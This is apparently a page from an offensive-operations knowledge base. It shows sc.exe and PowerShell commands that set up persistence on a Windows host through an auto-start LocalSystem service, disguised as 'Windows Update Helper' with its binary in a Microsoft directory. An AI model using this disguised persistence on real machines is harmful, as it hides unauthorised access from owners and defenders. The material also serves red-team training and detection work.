Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 04. Windows / 03. Persistence / Services

Auto-Start Service

The most reliable service persistence uses a proper Windows service executable. A normal console binary may start and execute, but the Service Control Manager can mark it failed because it does not speak the service protocol.

  1. Place the service binary in a stable path
  2. Create the service
  3. Set it to auto-start
  4. Start the service
  5. Verify service state and execution

Create a service:

sc.exe create OOTWUpdate binPath= "C:\ProgramData\Microsoft\Windows\ootwsvc.exe" start= auto obj= LocalSystem DisplayName= "Windows Update Helper"

Start it:

sc.exe start OOTWUpdate

Verify:

sc.exe qc OOTWUpdate
sc.exe query OOTWUpdate

PowerShell alternative:

New-Service -Name "OOTWUpdate" -BinaryPathName "C:\ProgramData\Microsoft\Windows\ootwsvc.exe" -DisplayName "Windows Update Helper" -StartupType Automatic
Start-Service OOTWUpdate